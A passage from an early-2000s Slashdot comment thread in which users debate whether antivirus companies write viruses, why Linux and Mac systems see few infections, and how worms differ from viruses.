    ..we would have some way to spread the virus on linux :)

    --
    Time travel is possible. We are quickly heading for 1984.
  57. so can we modify this virus to do some good? by Lumpy · · Score: 3, Interesting

    Like patch outlook,IE and IIS? change all the settings on outlook and grey out the checkboxes with the registry settings so the moron users won't set it back to use word as your mail reader...(and can we please disable that damned out of office assistant?)

    99.997% of all virii spread because the virus writers know that the end users are dumb as a box of rocks... hell, how many times have we had email spread viruses, and people STILL open attachments without a thought.. (Wow dave's sending me nude pictures of his wife again!)

    the only way to stop virus attacks are to either kill all the users (I wish!) or disable the dangerous options in the software they are using.

    only then will we stop the virus problems.

    --
    Do not look at laser with remaining good eye.
  58. But Alienation can fuel Virus creation by NZheretic · · Score: 2
    From the Newsgroup alt.comp.virus Alienation by antivirus industry fuels Virus creation

    Also are you the same Alan Solomon (Dr Solomon) interviewed in UK's PC PRO Sep 2000?

    "In the internet enabled age that's no longer possible and solutions have to be instant, leaving little time for testing the anti-virus code. That's why... I don't use AV software -I havent for some years. My personal experience to what can only be viewed as untested software is 'thanks but no thanks.'"
  59. Hardly Anyone? by Speare · · Score: 2

    The reason that it's hard to infect a Linux (/Unix/anything with a decient permission structure) system is that hardly anyone runs daily activities as root and only updates their /bin, /usr/bin, etc binaries from a known source or from source code.

    While that may seem logical and common-sense to you, this is NOT obvious and intuitive to a huge newcomer/dilettante population out there.

    A typical conversation on IRC:

    • - root (root!root@dialup123.induhvidual.qq) has joined #linux
      [root] ne1 4 a question???
      [Speare] Hey, root, it's a security risk to
      run IRC or any software as the root
      user. Set up a normal account and
      use the root account just for system
      administration tasks.
      [root] i been on linux since 5.2, dont lecture
      [root] ne1 no why /bin/ls crashes???

    Seems like the de-facto third thing that every newbie wants to do, right after their first Linux distro install, is to rebuild their kernel. Why? I have no idea.

    Yet almost nobody tells them how to build the kernel as non-root, or put the source anywhere but in root-writable /usr/src/linux, or why they should just stick to the pre-built, pre-audited kernels from their distro provider.

    If SOMEONE wanted to zombie a lot of clueless folks, they should just distribute "helpful" kernel-building scripts.

    Linux isn't secure until users know what security is.

    --
    [ .sig file not found ]
  60. Re:Use the source Luke! by Tony-A · · Score: 3, Insightful

    Grabbing source and make installing it is about the same as grabbing a binary, as far as security goes. You just don't know what's in there.
    True for round one. Most everybody.
    Round two. There's always somebody that's gotta do things differently, and the nasty runs into some kind of incompatability. A few paranoid souls run diff on previous versions. Any hint of something nasty and the nasty gets a swarm of unwanted attention.
    Round three. However it happened, somebody is gonna make pretty damn sure it doesn't happen again, kinda embarrasing.

  61. Firemen, too. by Ungrounded+Lightning · · Score: 4, Interesting

    It is, of course, a very insulting question, like asking firemen if they start fires, or dentists if they're the cause of tooth decay.

    True story: My dentist, when I was a kid, would give out lollipops. Pure sugar, artificially-colored, decay-inducing lollipops. Swear to God.

    Also: More than one fire department has been caught setting fires to put out. (It's especially prevalant among volunteer fire departments, which are often composed of people who enjoy playing with fires.)

    --
    Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
    1. Re:Firemen, too. by The+Madpostal+Worker · · Score: 2

      Actually its less common than you think. Several hundred firemen every year get caught setting fires and of those several hundred the majority are volunteer. However, most of the firefighters in the united states are volunteer. Someone once said its a fine line between those that start the fires and those that put them out, but most volunteers have a firm enough grip on reality stay on the extingushment side of that line. To imply that arson is a common occurance among volunteer departments seems very insulting to me.

      Andrew Barros
      Volunteer FF/EMT-B

      --

      /*
      *Not a Sermon, Just a Thought
      */
    2. Re:Firemen, too. by Ungrounded+Lightning · · Score: 2

      Actually its less common than you think. Several hundred firemen every year get caught setting fires and of those several hundred the majority are volunteer.

      There are an enormous number of firemen in the country, and a small number of jolly firebugs among their number setting fires. My impression is that the fraction of do-badders among them is MUCH smaller than that of the general population. Unfortunately, it is not zero.

      That said: My post was in response to the original poster's claim that "[asking if employees of antivirus companies writeing viruses is] a very insulting question, like asking firemen if they start fires ... the answer is [obviously] 'No'". My point is that, though the question may be taken as an insult, the "No" answer is NOT obvious, and if the analogy presented was to hold you would expect a small number of anti-virus software writers to write (and release) viruses, either to drum up more business or just because they can.

      Somewhere between one in fifty and one in two hundred of the general population is psychopathic. It appears to be a brain disfunction (analogous to color-blindness, though not necessarily genetic) with effects that amount to "no conscience" and which does not correlate strongly with intelligece (i.e. they may be smart or dumb). They have no sense of right vs. wrong. Those that don't compensate by learning a moral ruleset (or who learn one with holes in it) may commit horrendous crimes and be bemused when others dislike them for it. Those who do compensate often excell in positions where they make life-affecting or life-critical decisions - such as surgery, military/police/fire-fighting (especially command), politics, and business management - because their rational decision-making is not clouded by bursts of emotion when lives or livelihoods are being lost. Though they run the risk of becoming moralistic, they are arguably the most virtuous among us - because they CHOSE virtue, rather than having it thrust upon them.

      It is a tribute to our fire-fighters and their institutions that, with a large enough force that there are BOUND to be a few of the conscience-deficient among them, they turn out so many heroes (whether consciencefull or conscienceless) and so few below-zeros.

      As for the anti-virus software writers: The data is not in. Let us all hope they do as well.

      --
      Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
  62. In other words Windows is SO insecure ... by Ungrounded+Lightning · · Score: 2

    A hybrid virus could have its own filesystem code, and thereby infect say a linux partition on a dual-boot machine that is currently booted in windows,

    In other words, Windows is SO insecure that running it on a dual-boot Win/Lin machine opens a hole to infect the Linux partition. B-)

    --
    Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
    1. Re:In other words Windows is SO insecure ... by Tony-A · · Score: 2

      In other words, Windows is SO insecure that running it on a dual-boot Win/Lin machine opens a hole to infect the Linux partition.
      That's cruel.

  63. Must be a Mac user... by NeuroManson · · Score: 2

    They've always had it in for PC users, I mean hey, look how much progress Darwin has made...;)

    --
    Just because you can mod me down, doesn't mean you're right. Shoes for industry!
  64. Why just be reactionary? by bill_mcgonigle · · Score: 2

    I should start by saying that I'm both surprised and disappointed that AV companies don't write viri. There are always new types of viri coming out, with some clever tricks here or there to get past the scanners. If the AV companies had a team of dedicated virus-writers, they would probably come up with the tricks before the PFY's did.

    3. There's no point. Kids all over the world are writing viruses at no cost, providing an ample supply of new stuff.

    This seems like the best argument (an economic one), but it ignores the simple fact that a team of smart researchers are going to be more clever than the kid who hasn't actually taken an algorithms class yet.

    I'm not saying that the researchers should be releasing viri into the wild, but they should be writing them. Some sort of 'in-the-wild-simulator' would be a good way test them.

    I'm, of course assuming, they're running on a non-Net-connected system, with good physical security.

    --
    My God, it's Full of Source!
    OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
  65. Re:Use the source Luke! by hacker · · Score: 2

    Are you sure you're in the right decade? Article from 1995, which is a reprint from 1984.

  66. And how often do you make a ~ backup? by fizbin · · Score: 2

    I know that even when I was being paranoid about backups, I only backed up certain files daily and did a full ~ backup no more frequently than once a week.

    Remember - part of the reason it hurts to lose ~ is because of the frequency of changes, not necessarily the size of the data. The importance of a data file is only extremely loosely related to its size.

  67. Worm vs. virus by Otto · · Score: 2

    To most people, there's no difference whatsoever.
    To AV folks, a worm is just a particular subset of the class of viruses.

    Klez, the number one virus today, is a worm. I haven't checked the numbers, but right now, I'm guessing that email accounts for 99% of virus (i.e., worm) transmission. And I'd guess that the majority of in-the-wild viruses today, are worms.


    Not to dispute you.. well.. okay, to dispute you.

    Klez is a virus, not a worm. By the definitions used by most techheads out there, a worm can infect your machine without you doing anything whatsoever. Klez, and other e-mail bourne viruses, require you to run an executable in some fashion (via opening an email, running an attachment, whatever). A worm doesn't need this, it uses exploits against your machine's network capabilities to get itself to run on your system. The Morris worm is probably the best known one, but there have been others. Code Red strikes me as probably the most recent worm. Etc..

    Sorry, I just hate it when I see anyone refer to an email virus as a worm. It's not.

    --
    - Give a man a fire and he's warm for a day, but set him on fire and he's warm for the rest of his life.
    1. Re:Worm vs. virus by scrytch · · Score: 2

      dude... you're lecturing an AV programmer on the proper terminology.

      Anyway, here's the distinction: viruses, the real kind, require host cells to replicate. Worms are full-blown self-contained organisms. Worms burrow into systems, breed, and push into other systems. Viruses infect files, typically the execution path of an executable, or the data stream (e.g. exploiting a buffer overflow in a mp3 codec).

      Arguably, the fact that the worm is now embedded in the email, and taking advantage of the email program to self-replicate just makes the point of the original poster that much stronger -- that viruses and worms are getting pretty well interchangeable these days.

      --
      I've finally had it: until slashdot gets article moderation, I am not coming back.
    2. Re:Worm vs. virus by White+Roses · · Score: 2
      I thought Klez was more of a trojan horse, actually. Harmful code inside a seemingly innocuous program? Has to be run via user intervention (bring the horse inside the gates)?

      Perhaps a virus is more local, attached to data, needs a file to infect, but no user intervention; a worm is a networked virus, so to speak, able to jump from computer to computer without a carrier file, and without user intervention? Correct me if I am wrong on this. No really, I need to know.

      Then, of course, there are the Microsoft Transmitted Diseases . . .

      --
      Do not touch -Willie
    3. Re:Worm vs. virus by Otto · · Score: 2

      dude... you're lecturing an AV programmer on the proper terminology.

      dude... wrong is wrong. Being a cool guy and generally an expert doesn't mean he's always right.

      ;-)

      --
      - Give a man a fire and he's warm for a day, but set him on fire and he's warm for the rest of his life.
  68. boxen & vaxen by hawk · · Score: 2
    You're *way* behind :) The average slashdot reader has been born in the meantime . . .


    I forget when the Vax rolled around, sometime in the early 80's. They got called "vaxen", and it spread at some point to boxen in general . . .


    hawk

  69. wimp! by hawk · · Score: 2
    My Tandy 102 has been virus free for 25 years, and my 1802 even longer than that . . .


    hawk, shuddering at the notion of an 1802 compatible virus . . .

    1. Re:wimp! by hawk · · Score: 2
      Not Phillips, RCA. If memory serves, mine is the CPD1802CD, which can handle up to 12 volts .. . .


      hawk

  70. Re:Do antivirus companies write viruses? Maybe not by drsolly · · Score: 2, Informative

    "Antivirus companies NEED viruses, and they don't just happen."

    Before I started doing antivirus software, I ran one of the first data recovery companies, getting folks data off hard drives that didn't work any more. I didn't NEED viruses. When they happened, I decided it was something I wanted to get into.

    The first virus I saw (1987) was Brain (allegedly written in Pakistan, I have doubts about that). And it was A) interesting technically, and B) I guessed that this would become an increasing problem on PCs. Well, I was right, I wrote a great scanning engine (you expected modesty?) and we sold product to loads of people.

    I remember, in the spring/summer of 1989, a few months went by without any viruses appearing. There was a chap in the AV world I used to gossip with, and we talked about this. Have they stopped? Is it all over? About a dozen viruses, and that's it? It didn't occur to me, and I don't think it occurred to him, to "help things along" by writing a few viruses.

    Now, there's a few hundred each month.

    Incidentally, there are a few Linux scanners; that's what I was using to identify the Win32 viruses that people were inadvertently emailing me. NAI (McAfee) does one (porting the engine to Unix was my initiative, back when I ran the comapny that carried my name), so does F-Prot, so does Sophos, so does Norman and there's probably others. Some of these might still be beta; contact the companies to get the latest info. I think at least some of them might be free. Again, check for yourself.

    There might be some open-source scanners, but I don't know of any.

    "As for antivirus software? It is interesting that it often gets written BEFORE the virus is really discovered. "

    Would you care to give several examples of this, so that I can disagree? Because if you're correct, that's a very incriminating smoking gun, and worth taking to the police authorities of the country where it happened.

    Of course, you aren't referring to heuristics, which aim to work in a semi-generic way, or to entirely generic software (such as change-detection). And I guess you aren't referring to the fact that a detector for W32.nastyvirus.a might also detect W32.nastyvirus.b and .c, although not .d, because the explanation for that is pretty obvious - the viruses are very similar.

    Your statement seems to say that the detection for a specific virus is *often* written before that specific virus is discovered, and I'd like to hear some instances of this situation.

    Because my opinion is that this has never happened.

  71. Re:Well the romans were big on this by nlaporte · · Score: 2

    At the risk of delving too deeply into an off-the-cuff remark, Crassus's "fire brigades" were simply henchmen whom he hired to wait around while the fires other henchmen set burned, allowing Crassus himself to buy up the surrounding properties at digustingly low prices. Then, once the deal had been struck, Crassus's firemen went in. Not quite "fire brigades".

    And they weren't just "accused" of doing this...it's clear that it happened on numberous occasions, and everyone knew about it.

  72. Re:Use the source Luke! by Gordonjcp · · Score: 2
    ... Ah! but how do you know that there isn't a trojan in the BIOS? It could do something kinky when it detects a modem ringing, and give you dial-up access to the luser's BIOS settings!


    You get my point.... Where do you stop being paranoid and just have to assume it's safe?

  73. there is anti-virus software, built-in by g4dget · · Score: 2

    Use "rpm --verify" on RedHat.

  74. AV companies are still responsible by g4dget · · Score: 2
    I used to get asked "Do antivirus companies write viruses?" a lot. It is, of course, a very insulting question, like asking firemen if they start fires, or dentists if they're the cause of tooth decay. However, I always tried to contain my irritation at the insult (on account of my guess that most people asking me this, don't realise it's an insult) and the answer is "No."

    But AV companies are still indirectly responsible for the persistence of viruses. Right now, everybody just buys Norton or Symantec. As a result, there is no pressure on companies like Microsoft to fix their operating systems, applications, and software distribution mechanisms. Why should they? Customers are considered "irresponsible" if they don't also shell out money for an AV subscription.

  75. No, he is right, Mac viri are still quite rare by Aqua+OS+X · · Score: 2

    Most of those viri are quite old, and they usually only screw with classic MacOS (if they are compatible with OS 9, which they might not be since many were designed for earlier versions of MacOS) ...or perhaps some carbon apps.

    Moreover, most mac viri are dished out to those who pirate mac software on IRC, Hotline, Carracho, etc. I've been a mac user for many many years, and I've never recived an email virus.

    There are really only a handfull of viri out their that can affect OS 9 and or OS X. Most usually do not do that much, and it is almost as if you really have to go out of your way to get infected.

    Within the past few years, development of Mac antivirus software has all but come to a full stop (anyone remember Disinfectant?...RIP). Norton AntiVirus is just about the only thing you can buy for virus protection on MacOS, and most sales go toward paranoid mac users who really don't know any better. Furthermore, it seems to me as if the folks at Symantec now only caters toward killing lame little Apple scripts that mac users make to screw with other mac users.

    Now I don't really want to get into the reasons why MacOS is more or less prone to viri. I think a lot of this is more sociolgical then technical. OS X might start to see the advent of more viri since it has been atracting a geekier crowd, but we will see.

    --
    "Things are more moderner than before- bigger, and yet smaller- it's computers-- San Dimas High School football RULES!"
  76. Re:Use the source Luke! by joto · · Score: 2
    I am not sure what you think gcc has to do with this.

    Thompson's hack would work just as well with gcc as any other compiler. I don't think there's any practical way of being completely sure of not being attacked in this way.

  77. Re:Use the source Luke! by joto · · Score: 2
    This is, at least to a certain degree wrong.

    Internet Explorer has a so completely inadequate security model, that it is far from unlikely that anything as bad will show up anywhere else (such as linux). While you can probably write malicious code for executing arbitrary code in almost any networked application, that doesn't mean it's especially easy, or even realistic. With Outlook, Outlook Express, Internet Explorer and Internet Information Server however, it is.

    Now, if someone sends me a virus to an email account I read my unix machine, my email-client is not likely to execute the virus with full rights, just to give me a nice preview. Outlook and Outlook Express, on the other hand, is.

    The sad fact is that writing a world-devastating email virus is patently simple, and anyone with basic knowledge of windows scripting can do it. So far, developers for Unix has been smarter to build in at least some form of basic rudimentary security (while they might not lock the door entirely, at least there is a door there).

    I am not saying that linux-viruses of this kind can never exist. All it takes is (1) a bunch of stupid programmers writing an equally stupid email-program for unix as Outlook Express. Then you need (2) some equally stupid packagers for a major distribution such as redhat, making this silly email-program the default. Then you need (3) lots of gullible users to trust RedHat. And then you need (4) enough of those gullible users for the virus to spread as effectively as a typical Outlook virus.

    Scenario (3) is very likely. (4) is not likely in the short term. (2) is very unlikely, and even (1) is unlikely given that most people pondering about writing email-clients have learned something from the failures of microsoft.

  78. Strike two by Felinoid · · Score: 2

    This is the scond time a "must have root to infect" virus has been created.

    Windows: Don't do something stupid like reading e-mail..
    Unix: Be very careful not to strip your security bare naked and tatoo your butt with "Hack me crash me rip me dry"... You MIGHT get a virus.

    Even if a user runs programs as root as a habbit they wouldn't pick up e-mail that way.
    Unix delivers e-mail to the user account.. only the user account could pick it up...

    Unless you go out of your way to run everything as root and not have user accounts and set up your e-mail to always be delivered to root...

    That would be the same as removing all the locks on your car and replacing the egnition with a swotch..

    Thats pritty much what you have with Windows... You could have exactly the same thing with Linux if you want..

    But there is a reason why IRC servers kick you off if your running your client from root...

    It's multiplatform for a reason... needs Windows to spread becouse it's not going to find enough Unix users in the world...
    (Maybe two exist... gotta adjust for stupidity with sunden outbreaks of genous.. such as that needed to strip Unix so badly as to make a virus infection actually work)

    After the first virus anti-virus companys prommised us software for Linux...
    The only reason the virus worked at all was a defective libary asked users to run binarys as root.

    I personally prefer to always download source code not binarys.. this is just one reason..
    If Windows users did the same thing... and changed the e-mail client to one that dosen't download and run binarys automaticly.. (anything not available from Microsoft) they too won't get viruses.

    --
    I don't actually exist.